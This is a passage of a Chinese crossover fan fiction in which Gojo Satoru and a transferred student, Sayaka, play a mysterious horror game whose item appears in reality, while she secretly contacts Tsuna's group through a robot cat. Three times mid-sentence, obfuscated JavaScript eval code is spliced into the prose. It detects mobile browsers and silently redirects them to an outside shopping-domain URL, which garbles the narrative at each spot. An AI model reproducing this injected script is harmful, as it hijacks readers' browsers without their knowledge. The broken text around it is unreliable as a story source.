今天的她可能会做一些所谓的“善良”的事,明天的她就有可能会为了自身利益损害他人的利益。 五条悟似乎是听懂了她的言下之意,刚刚升起的怒火像被一桶冰水倏忽泼灭,他难得的沉默了一会。 “等等,有点不对劲。”夏油杰没注意她们之间的小插曲,突然向门外看去,“夜蛾老师他……正朝着我们宿舍的方向走来。” 三人:“……?” “你确定放对位置了?”家入硝子提醒道。 “当然——”五条悟一脸确定地开了个头,旋即像是想起了什么似的,倒吸了一口凉气,低着头斟酌了一下,才恍然大悟般用拳头锤了下掌心,“我想起来了,我好像不小心放到第三格了!” 三人都一脸无语地看了他一眼,夏油杰无奈地往后靠在椅背上,头仰起看向天花板,“证据确凿,看来是逃不了检讨了。” “一般要写多少字?”绿川纱夏好奇,作为老师心目中的乖学生,她还从没写过检讨。 “视情节而定,严重点的话五千一万,轻点的话一两千吧。”夏油杰道。 正说着,夜蛾正道破门而入,语气不善,“你们几个真是让我好找啊。” 早已身经百战的三人自动在地上跪好,只留绿川纱夏闲散地坐在地上,显得像个异类。 夜蛾正道冷哼一声,“说说吧,怎么回事?” 五条悟边打量着夜蛾正道的表情,边慢吞吞地举起手,“夜蛾老师,其实这都是误会……” “哦?” “其实是你的车钥匙自动飞到我面前诱惑我的……”语气越来越低,明显底气不足。 夜蛾正道显然不想听他瞎说了,立马打断了他的施法,严肃道,“你们四个一起偷溜出去玩,每人罚五千字的检讨!” 五千字,看来夜蛾老师真的很生气。 五条悟“啪”的一下就蔫了,但还是认真地和夜蛾正道说,“这件事是我提议的,要罚就罚我一个人。” 话音刚落,他的脑袋就被夏油杰用力按了下去,后者笑着说,“事是一起干的,我们认罚。” “同意。”家入硝子嘴里咬着棒棒糖,懒洋洋地举起手。 绿川纱夏也一脸理所当然,没有任何异议。 见状,夜蛾正道的心里很有几分欣慰,但面上却不露分毫,离开前只留下一句,“明天早上交给我。” 此言一出,他的身后立马传来五条悟的哀嚎。 写检讨对他来说是最伤脑筋的事情,任务报告还能随便画几个字和图形蒙混过关,但检讨可不行。 “事已至此,我要回去写检讨了。”家入硝子起身理了下裙子。 “我也是。”夏油杰手插在裤兜里,随意地道别。“走了。” 这两人一走,房间内只剩下了绿川纱夏和五条悟。 以为绿川纱夏也会礼貌地道别的五条悟半天没等来她的声音,疑惑地朝她看去。 后者从自己的大号购物袋里掏出几本漫画书,将整个袋子都递给了他。 五条悟更疑惑了,“给我的?” “是哦。”绿川纱夏歪着脑袋想了想,没想出这份礼物的名义,“总之是送你的。” 说完,她便潇洒地起身离去。 目送着少女离开,“砰”的关门声将五条悟拉回神来,他的视线又重新回落到大号购物袋上。 她送给他的……礼物吗? 他一脸好奇地打开购物袋,发现里面堆满了游戏卡带,随意地拿出了其中几个,正是他之前在店里挑选的,当时他帮男孩找妈妈的时候全放地上了,后面急着回高专,就忘了这事。 没想到她帮他全带回来了。 他的内心忽然涌上一股难以名状的情绪,他下意识地抓了下自己胸前的衣服,自己对这位新同期的印象似乎又改变了一些。 不过很快他就想起了另一件事。 这些游戏卡带的钱好像是他自己出的吧?《 》 21.第二十一章 五条悟不知道怎么回事,短短几天时间,整个咒术界都知道他喝果汁喝醉了的事。 那天也真是奇了怪了,他去那家烤肉店喝了这么多次果汁,第一次遇到这种情况,难道是最近真的太累了? 不少人发消息明里暗里提起这件事,害得他现在看到手机来了新消息就发怵。 特别是歌姬那家伙,已经发消息嘲笑他好几轮了。 他严重怀疑大肆传播这消息的就有她一个。 虽然这件事有点坏他的心情,但他最近还是十分愉悦的,因为他成功拿到了最新出的双人游戏,他在论坛上看到不少对这款游戏的测评,清一色的好评看得他心痒痒的。 可惜的是,他的好搭子夏油杰正巧出任务去了,一时半会儿回不来,而这游戏并没有单人模式。 “啊——好想玩啊。”五条悟身子往后一倒,躺在地上大喊道。 硝子又不爱打游戏,高专就那么几个人…… 诶,等等—— 五条悟突然坐起身子,他的脑海里浮现出薄荷色的发丝以及对方似乎对什么事都信手拈来的模样。 “砰砰砰——” 门外传来急促的敲门声,正在阅览自己带回来的十八禁漫画的绿川纱夏心里泛起一丝疑惑,谁这么急着要来找自己。 她将脚铲进拖鞋里,甚至忘了手上还拿着漫画书就起身去开了门。 门外的是一身运动套装的五条悟,今天是休息日,大家都没有穿校服。 五条悟看到穿着一身粉色兔子睡衣,帽子上还挂着两只垂耳的绿川纱夏,一时之间卡了壳,刚刚想好的措辞全忘了个干净。 见他半天不说话,绿川纱夏越发困惑,眨了眨眼睛,“什么事?” 五条悟这才如梦初醒般,带了点结巴地说,“你你前几天给我带的游戏卡带里有款新出的双人游戏,杰出任务去了,所以……” “可以哦。”绿川纱夏一下就听懂了他的未竟之言,果断地同意了。 正好在宿舍里闲的发慌,玩玩游戏也是不错的消遣方式。 听到她不带犹豫的回答,五条悟莫名松了口气,目光缓缓下移到她手中的东西上,等他看清上面画了什么的时候,一切都已经来不及了。 一个巧克力肤色的双开门抱着一个白皙瘦弱的娇羞男孩,更重要的是两人都没穿衣服,还摆成了很羞耻的姿势,强烈的视角冲击让五条悟的脑子宕机了一瞬。 等他后知后觉反应过来的时候,他的脸早已通红一片,甚至不敢去看绿川纱夏的眼睛,话都说不利索了,“你你你,怎么还看这种东西!” 这是正常的女高中生该看的东西吗?! 还这么光明正大地拿出来!! 绿川纱夏低头看了眼手中的漫画书,才发现自己不小心把它也带来了,然后她无所谓地回头将书抛到了床上,十分淡定地和五条悟说,“走吧,打游戏去。” 五条悟看她如此坦荡,一时语塞,最后红着脸领她去了自己房间。 他一面在心里极力让自己冷静下来,不要露怯,一面暗示自己早就看过不少黄漫,这根本不算什么。 下一秒,他心里的小人就在地面疯狂打滚。 不管怎么样,也不能看……看这种东西吧?? 男人和男人……什么的…… 完全不知道他的心声的绿川纱夏一脸平静地打量着他的房间。 其他男生的房间,她只去过泽田纲吉的,他的房间完美符合她对男生房间的刻板印象,地上常年散乱着听过的CD、随手换下的衣物、看到一半盖在地上的书本等等。 两者相对比,五条悟的房间就显得整洁太多了。 地上收拾的干干净净的,没有一点杂物,连床铺都打理得十分平整,被子熨贴地铺平,枕头摆放的整整齐齐。 看上去和他平时的风格很不一样。 绿川纱夏垂眸,她还以为,他的房间会和他的人一样不拘一格。 五条悟将卡带插入机器里,屏幕上缓缓出现画面,他一边设置,一边向她介绍道,“这个游戏叫《绝密之境》,两名玩家作为意外闯入的冒险者,在一个无人知晓的秘境里面探险。” 眼前突然出现一个红色的手柄,绿川纱夏抬眼看去,五条悟手握另一只蓝色手柄,示意她接过。 两人分别选择了一女一男的角色,说起来,人物身上的服装看起来和高专制服还有那么点像。 打开第一关,绿川纱夏全神贯注地盯着屏幕,却始终只有漆黑一片,如果不是下方明晃晃的生命值提醒她游戏已经开始,她甚至要误以为是电视机坏了。 五条悟显然也对眼前的这一幕很是疑惑,“论坛上也没说开局就黑屏啊?” “你看过攻略吗?”绿川纱夏转换着角色视角,屏幕上没有任何变化。 “没有,我打游戏从不需要攻略。”五条悟自信地说,他凭自己的能力就能轻松通关。 绿川纱夏把手柄能按的键都按了一遍,终于在按到某个键的时候,人物的手上忽然出现了一个火把。 “你按的哪个键?”五条悟头向她的手柄探去。 “这个。”绿川纱夏又按了一下,火把就被她收进去了,屏幕再次归于黑暗。 五条悟尝试着按了几遍,屏幕上始终没有任何反应,只好放弃,“我试了没用,可能这是你的角色的技能。” 于是绿川纱夏再次拿出火把,两人的视线里终于出现了一丝光亮,能看见一点周围的事物。 平平无奇的水泥地和平平无奇的垃圾桶。 还没等她反应过来,她已经下意识地开启了垃圾桶。 【不知道干过什么的废纸*1】 【腐烂的香蕉皮*1】 【喝过的矿泉水瓶*2】 毫无用处的一堆东西。 绿川纱夏正准备走,就看见五条悟把这四样东西全都收进了自己的背包里面。 绿川纱夏:…… 她打开看了一下,背包的空间是八格,相同的物品可以收纳在一起,也就是说他已经用了将近一半的空间。 你的意思是你就是用这种水平轻松通关其他游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995172|192768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的吗? 绿川纱夏什么也没说,继续往前面摸索着,而五条悟操纵着的小人,由于依赖于她手中的光亮,所以只能亦步亦趋地紧紧贴着她。 两人的视线范围十分有限,只能依稀分辨出她们所在的地方和现实中的街道很像,这很出乎绿川纱夏的意料,根据五条悟的介绍,她还以为环境建模会是比较魔幻类的或者破旧的残垣。 沿途再也没出现可以打开的东西了,路边的房子也都显示“已上锁 请勿私闯民宅”。 还怪有法治意识的。 两人又走了一会儿,屏幕下方兀的出现一排红色爱心和一排蓝色水滴。 正常来说,红色爱心应该代表生命值,但由于开局时已经有了写着“hp”的血量条,所以红色爱心代表的应该是其他东西。 在她们再次四处碰壁之后,绿川纱夏忍不住在心里吐槽,这游戏指引做的也太差了吧,不仅交互键全没提示,连新手指导和npc也没有,画质做工看着也很一般,要是这个地图很大的话,她们得到什么时候才能开启任务? 五条悟显然也很是奇怪,“这和论坛上说的是一个游戏吗?不会买到盗版了吧?” 他拿起游戏卡带的封面检查了一遍,发现并没有找到出品方的信息,“上面怎么没有游戏公司的名字?” “难道真是盗版?” “不应该啊,这游戏才刚出没多久,盗版也来不及做的这么快吧。再说了,这可是在bxx camera买的耶。”五条悟挠了挠脑袋。 bxx camera是这里有名的连锁店,在上架之前一定都有经过检查,从来没听说过他们有售卖出盗版的消息。 “可能要到达某个地方才会开启任务指引吧。”绿川纱夏猜测道。 果然,没过多久,她们找到了一间可以进入的房子。 随着大门缓缓开启,五条悟的小人像泥鳅一样滑了进去,绿川纱夏紧随其后,两人的目光紧紧地盯着屏幕,四处搜查着各个房间,不愿放过任何一丝线索。 此时,两人突然注意到原本满格的水滴图标和爱心图标的数量在不断减少。 绿川纱夏:“难道是含水量和体力值?” 对于生存类的游戏来说,这两个数值很常见。 五条悟想起来他们刚刚经过的厨房有水槽,或许可以接一些自来水来饮用。 他循着记忆轻松地找到了厨房的位置,对着水龙头按下交互键,果然能出水。 但他把每个键都按了一下,还是无法让角色进水。 他思考着,脑海中突然浮现出背包里被捏扁的矿泉水瓶,灵机一动,拿出了那个水瓶,再次对着不断流水的水龙头按下了交互键。 【装满水的塑料水瓶*1】 这下,屏幕里的人终于可以喝水了。 绿川纱夏一脸惊讶地盯着屏幕,又忍不住看了一眼旁边的五条悟。 五条悟注意到绿川纱夏的眼神变化,嘴角忍不住上扬,语气里是压不住的得意,“也不是很难嘛,轻轻松松啊,我这还有瓶水,给你了。” 22.第二十二章 绿川纱夏接过他的水并喝下,果然水滴那一排又回满了,但体力值还在不断往下掉,看来他们得尽快找到食物才行了。 根据她对这类游戏尿性的了解,一般体力值越低掉的越快,等体力值掉到零就该开始掉血了。 “吼——” “吼——” 两人四处翻找着食物,耳边忽然传来怪物愤怒的嘶吼声,似是对他们私自闯入自己领地的不满。 五条悟迅速反应过来,不断转换着视角辨别声音的来源,由于可视范围仍然很有限,所以他们根本无法看到怪物会从哪个方向袭来。 绿川纱夏寻找着攻击和防御键,却一无所获,她唯一能做的就是从背包里拿出一个火把。 啥意思? 这是要玩躲猫猫?要躲避到怪物的视野盲区来逃脱追捕? 绿川纱夏凭着仅有的光亮逃到了一个破旧的橱柜里面,屏息聆听着怪物的声响。 突然,她感觉旁边有一道炽热的目光直勾勾地盯着他,她扭头就对上五条悟哀怨的眼神,“怎么了……?” 五条悟伸出手指了指自己落单的小人,此时因为失去了唯一的光源,又陷入了一片漆黑,耳边怪物的嘶吼声越来越响。 而和他形成鲜明对比的是蹲在橱柜里岁月静好的绿川纱夏。 难怪她感觉自己好像忘了点什么…… 她动作迅速地打开了橱柜,沿着人物指引找到了五条悟的小人,然后领着他一起躲进了柜子里。 然后他们通过橱柜的缝隙看到了怪物的模样,看上去个子很小,和他们预想的相差甚远,头部以下连接着一只黑色长指甲的手掌,用五指进行移动,头两侧长着眼睛,但有一边的眼球却没了,只留下空洞的眼窝,一张大嘴里吐出了一条紫色的长舌头。 看上去和现实中的咒灵没什么两样。 五条悟下意识地挑了下眉,这么巧?不会制作人员里也有咒术师吧? 这只怪物面朝着橱柜,按照它眼睛的位置来说,不可能看得到他们,然而,下一秒它就转了个身,眼睛对着橱柜的缝隙,屏幕上方出现了一个对话框。 【这里不是你们该来的地方】 怪物打开了橱柜,屏幕上赫然被血迹覆盖,宣告了她们的失败。 五条悟:“……” 绿川纱夏:“……” 于是两人开启了二周目,这一次,五条悟动作娴熟地拾起了垃圾桶里的垃圾,轻车熟路地来到刚刚的那间房子,两人咕噜咕噜灌满了水,熟悉的音效再次出现。 这次两人选择躲在餐桌底下,然而,刚刚的那只怪物轻而易举地找到了他们。 这一次怪物非但直接突脸,还说出了一句让他们匪夷所思的话。 【我已经说过了,你们怎么又来了】 又? 两人还没来得及多想,结算页面又出现了。 于是两人越挫越勇,三周目、四周目、五周目…… 不怪她们搜索能力太弱,实在是到达房子和怪物出现之间的时间太短,以至于她们每次还没搜查到什么,就急哄哄地躲到各种柜子或桌板底下,也有想过两人分开躲藏或是试图反击,当然无一例外都被怪物找到了,而且都是一击毙命。 “可恶!!”五条悟不爽地用拳头砸了下地板,他还从来没遇到过在新手关卡就卡这么久的游戏,他的自尊心根本不允许他去查攻略,他一定要靠自己的努力通关! 终于,在八周目的时候她们找到了一条向上的楼梯。 两人想也没想就爬了上去。 反正在下面已经是死路一条了,不如去上面看看。 小人贴着墙壁向前慢慢摸索,楼梯和墙壁上都被喷溅了许多血迹,从其颜色判断,已经是很久之前的事了,台阶上满是灰尘与碎屑,游戏制作的太过精美,以至于两人在屋内没开灯的情况下,完全沉浸在其中了。 到了二楼,血迹也越来越多,墙上印满了血掌印,有些早已干涸,有些看着却很新鲜,色泽殷红,似乎是刚刚印上去的。 灰尘似地毯般铺在地面上,一道道清晰的脚印出现在两人的视野中,直指向其中一间房间。 小人缓缓挪动着,有限的视野让他们无从发觉周围是否有怪物在闯闯欲动,一个小人举着火把,另一个小人走上前试图推开脚印消失位置的房门。 “哐当——” 东西砸落到地上的声音。 两人立马将小人的视角转到地面,五条悟又将交互键全按了一遍,将什么东西收进了自己的背包里。 【古老的戒指*1】 “这是干什么用的?”绿川纱夏问。 五条悟打开背包,点击戒指,出现了一条简介。 【看上去十分古老破旧,不知道有什么用】 ……说了和没说一样。 五条悟关闭背包,再次操纵小人去开门,两人都屏息盯着屏幕。 “砰砰砰——” 一阵敲门声自两人耳边响起,两人均是浑身一颤,因为这一次不是出自游戏,而是源于现实。 五条悟深吸一口气,站起身子去开门,映入眼帘的是夏油杰的微笑,“悟你——” 在干什么。 话还没说话,就被用力地关门声打断了,“彭。” 莫名被关在门外的夏油杰:? 当然下一秒他就不客气地破门而入了,里面昏暗的环境让他的眼睛下意识地眯了起来,屏幕上血腥恐怖的画面没让他惊讶,坐在地毯上的另一个人让他有些惊奇,“绿川……同学?” “叫我绿川就好。”绿川纱夏回头打了个招呼,“和悟一样叫我纱夏也可以哦。” “好的。”夏油杰从善如流地应下,十分自然地坐在五条悟身侧,“这就是你昨天和我说的那个游戏?” 五条悟点头。 “怎么样,打到第几章了?”夏油杰随口问道,他知道五条悟的游戏水平,普通的游戏他只用一天就可以通关了。 五条悟沉默。 绿川纱夏插了一句,“不知道有几章呢,我们还在第一关。” “诶?”夏油杰惊讶。 五条悟收到好友询问的眼神,先甩给绿川纱夏一记眼刀,再咬牙道,“对。” 这么丢人的事情就没必要说出来了吧! 夏油杰顿时对这游戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002633|192768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了点兴趣,正想看看她们怎么操作的,就听到五条悟问自己,“你刚做完任务吧,找我有什么事?” 正常情况下,夏油杰做完任务就回去休息了,现在特地来找他应该是有别的事情。 “唔,夜蛾老师叫我们过去开个会。” “那走吧。”五条悟毫不留恋地放下手中的手柄,拿起椅子上的外套往身上套。 这游戏狗都不玩……虽然他还是有那么一点儿好奇门后会是什么。 绿川纱夏将游戏退出,跟着他们一起往外走。 他们到的时候,夜蛾正道正拿着他们带回来的木盒子细细端详。 “有什么问题吗夜蛾老师?”五条悟问。 夜蛾正道点头,打开了木盒子,赫然躺着他们带回来的那只碧绿色眼球。 “这东西我看了很久,确实是特级咒物没错,但却不知道它的用途。”夜蛾正道将盒子推向他们,“其中的咒力似乎被锁起来了,并不会主动散出。当然,可以确定的是,和宿傩的手指也不一样,它并不是咒力的载体。” 此言一出,五条悟和夏油杰都纷纷陷入了沉思,只有绿川纱夏的眼睛似有若无地向黑色机器猫瞟去。 他们应该是按照约定没有出声,夜蛾正道什么也没查出来,而且猫眼里的红光也消失了,估计是启动休眠模式了,不然机器猫也该没电了。 “毕竟这东西是你们带回来的,所以我想问问你们对这个东西有什么看法,以及该如何保存。”夜蛾正道叹了口气,这些家伙带回来的东西一个比一个难查,关键这还是个特级咒物。 看上去好似无毒无害呢,绿川纱夏想,不过往往看上去越无害的东西越危险呢。 五条悟想也没想,“交给我就好了。” 他对自己有绝对的自信,不论这个东西有什么不对的地方,他都可以解决。 夜蛾正道显然也很相信他,虽然他年龄不大,但已经是咒术界最强的存在了,放在他那十分合适,不过他还是提醒了一句,“如果有什么不对的地方一定要及时上报,不要一个人逞强。” “知道啦知道啦。”五条悟不在意地答道,拿起盒子在手里转。 “还有就是杰上次带回来的那只机器猫。”夜蛾正道看起来更头疼了,“这上面没有任何咒力,而且就像是电量告罄了一样没有任何反应,表面没有任何缝隙和可拆卸的地方。技术人员那边应该是不想多费力气,就让我拿回来了。” 毕竟没有咒力,他们也不想在无用的地方上下更多功夫了。 “所以你们看,怎么处理?” 一直没出声的绿川纱夏忽然开口,“可以给我吗?” 众人的目光齐刷刷地落到她身上,她嘴角绽开一个平常的笑容,“我很喜欢黑猫,想拿回去当摆件。” 这话说的没什么毛病,就算她不拿去,估计也是放在某个角落吃灰,于是夜蛾正道将机器猫递给了她。 夏油杰也没觉得有什么问题,只有五条悟的视线不动声色地在绿川纱夏和机器猫之间来回游移。 是他的错觉吗? 总觉得从她看到这只机器猫开始,她好像就对它格外关注。 23.第二十三章 绿川纱夏如愿以偿地拿到了机器猫,刚回到房间,她就迫不及待地将其放到了桌上,用手在猫眼前面挥了挥。 没过多久,机器猫的眼里就发出红光,随之发出声音,“纱夏!” 是泽田纲吉的声音。 “哟,十代目,好久不见。”绿川纱夏对着镜头笑了一下。 “都说了叫我名字就好了啦!”对面传来泽田纲吉略显害羞的声音,“说起来,你在那边怎么样?一切都好吗?” 他的声音并不算清楚,背景音中夹杂了许多人的声音。 “什么?联系上那家伙了?” 这是狱寺隼人。 “纱夏看起来还不错呢哈哈哈。” 这是山本武。 “真是的,你们别一个劲地挤上来啊。” 这是入江正一。 他们还是跟以前一样,一点都没变呢。 绿川纱夏回复,“还不错啦,你们呢?” 泽田纲吉告诉她一切如旧,并且在她家和学校那边都给她找好了借口,听到他为了帮她请假,让她生了各种奇形怪状的病时,绿川纱夏顿时忍俊不禁。 “我家那边可以不用麻烦十代目再跑一趟了,她们估计已经知道是怎么一回事了。”绿川纱夏笑眯眯地说,那两人肯定是看破不说破,彭格列的情报科科长怎么可能这么没用。 “诶?!”泽田纲吉十分错愕,他去的时候两人分明看起来什么也不知道的样子。 “就听纱夏说的吧,笨蛋阿纲。”Reborn的小奶音突兀地响起。 “所以我什么时候可以回去?”绿川纱夏直奔主题。 对面忽然陷入死一般的寂静。 过了一会儿,耳畔响起了泽田纲吉心虚且苦涩的声音,“哈哈哈,关于这个,可能、也许、大概还需要一段时间呢哈哈哈。” 众所周知,当你听到“快了快了”“马上马上”之类的字眼配上对方略显急促的语气时,说明还有一大段距离,甚至可能都还没开始做事。 而泽田纲吉既然这么说,肯定不止还有一大段距离,而是他们都还没有头绪。 也就是说,她的回家之路迢迢无期。 不过也很正常,把人从异世界带回来的机器怎么可能这么好做。 绿川纱夏这人不是个急性子,就算到了这种时候,她还是一点儿也没不高兴,反而和泽田纲吉开起了玩笑,“看来我又可以多过会儿不上学的日子了,学校那边还需要阿纲你帮我想想办法呢。” “放心吧纱夏,我们一定会带你回来的。”泽田纲吉的语气十分坚定,不见分毫刚刚的慌乱。 绿川纱夏微微一笑,“嗯,我相信你。” “Ciaos。” 一道小奶音从话筒里传出。 显而易见是Reborn。 听到这位大魔王的声音,绿川纱夏下意识地就开启了警惕模式,“是Reborn啊,你有什么事吗?” 反正这家伙一开口准没好事。 “没事就不可以跟纱夏聊聊天吗,纱夏你这样我会很伤心的哦。” 对面奶声奶气地说着一本正经的话,可以想象到他的模样是如何可爱,但知道他真实面目的绿川纱夏心中根本泛不起丝毫怜爱之心。 不过说起来…… “那当然不会啦,倒是我有件事情想咨询一下Reborn你呢。” “愿闻其详。” “是这样的,如果想要另外一个人听我的话,该怎么做呢?” “殴打、下药、囚禁,这种事你不是应该最清楚了吗?”Reborn毫无波澜地说出几个非常刑的建议。 经过家里人的“耳濡目染”,她对这些事可以说是一点也不陌生。 但问题是黑手党这么做是很正常,可她只是一个普通的女高中生啊! “就是打不过才烦呢。”绿川纱夏的语气中带了丝烦恼。 要是她能暴打他的话,当然恨不得一天打他个五六顿,问题就在于她打不过他。 “那样子,就要使点别的手段了。”Reborn的小奶音变得阴森起来,“纱夏,对方多大了?” “十八。” “这样……那就大胆地用爱情去征服他吧!十八岁的少年,正是容易被爱情冲昏头脑的年纪。” “Reborn!!”旁边的泽田纲吉立马着急地出声喝止他,“不要教纱夏这些乱七八糟的东西啦!!” 屏幕上的绿川纱夏却一脸若有所思,没过一会儿就双瞳亮起,恍然大悟般,“我懂了,谢谢你Reborn!” “纱夏!——” 泽田纲吉的声音戛然而止,机器猫眼中的光亮熄灭,绿川纱夏耐心等待了一会儿,还是没有任何回应,猜测应该是机器猫出了故障或没电了。 不过她想知道的都已经知道了,至于回家的事,就交给他们吧! * 五条悟开完会本打算回去继续打那个该死的游戏,想起绿川纱夏已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17012784|192768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经回了自己的房间,而夏油杰又刚做完任务,便决定去玩别的游戏。 他刚坐下,就感觉有什么东西从口袋里掉了出来,在地上滚了几圈安静地躺了下来。 他左右搜寻了一下,在地毯上找到了一枚古铜戒指,雕刻着繁复的花纹,中间镶嵌着一颗蓝色的宝石。 好眼熟的戒指。 等等—— 喂喂喂!这他爹的不就是那个游戏里面最后掉出来的戒指吗??! 怎么会出现在他的口袋里面啊?! 五条悟恍惚了一瞬,他一定是在做梦吧? 如果不是在做梦,怎么会出现这么荒诞的事情呢? 他立马闭上眼睛躺倒在地毯上,在心里默念快点醒来快点醒来。 作者当然不会如他所愿,所以他躺了半天,除了听到自己细微的呼吸声,其他什么反应都没有。 那枚戒指仍然好好地呆在他的手心。 由于当时是和绿川纱夏一起玩的游戏,他当机立断去找绿川纱夏共同一探究竟。 他火急火燎地跑出了门,甚至没注意到自己的房门都忘了关了。 快到她门口时,他的脑子里突然浮现出她一贯的平静面容,觉得自己这样急急忙忙的有失风度,于是立刻刹住匆忙的脚步,整理了一下自己的衣服,缓步向她房间走去。 还没来得及敲门,就听到里面传来她的声音,似乎是在和什么人说话。 “所以我……回去?” “……可能……一段时间……” “……不上学……想想办法……” 五条悟发誓他绝对不是想偷听,但是他的耳朵已经不由自主地贴上了房门。 这隔音也太好了吧,听不清楚在说什么啊。 五条悟一边偷偷趴在门上一边在心里腹诽。 他只能听到绿川纱夏一个人的声音,另一个声音非常模糊,连是男是女,是老是少都难以分辨。 他越听越不清晰,到后面连绿川纱夏的话都听不到了,他下意识地又往门上贴了贴,整个人都扒在了门上,没想到这扇门突然朝内打开了。 他来不及稳住身形,一个踉跄,差点摔在地上。 还没来得及反应,头顶已经覆上一片阴影,五条悟机械般僵硬地抬起脑袋,看到少女正抱臂看着自己,眼里透出若有似无的笑意,他的脸上挂上讪讪的笑容,“好,好巧啊纱夏。” “好像不太巧吧,这是我的房间呢。”绿川纱夏眼中笑意更深。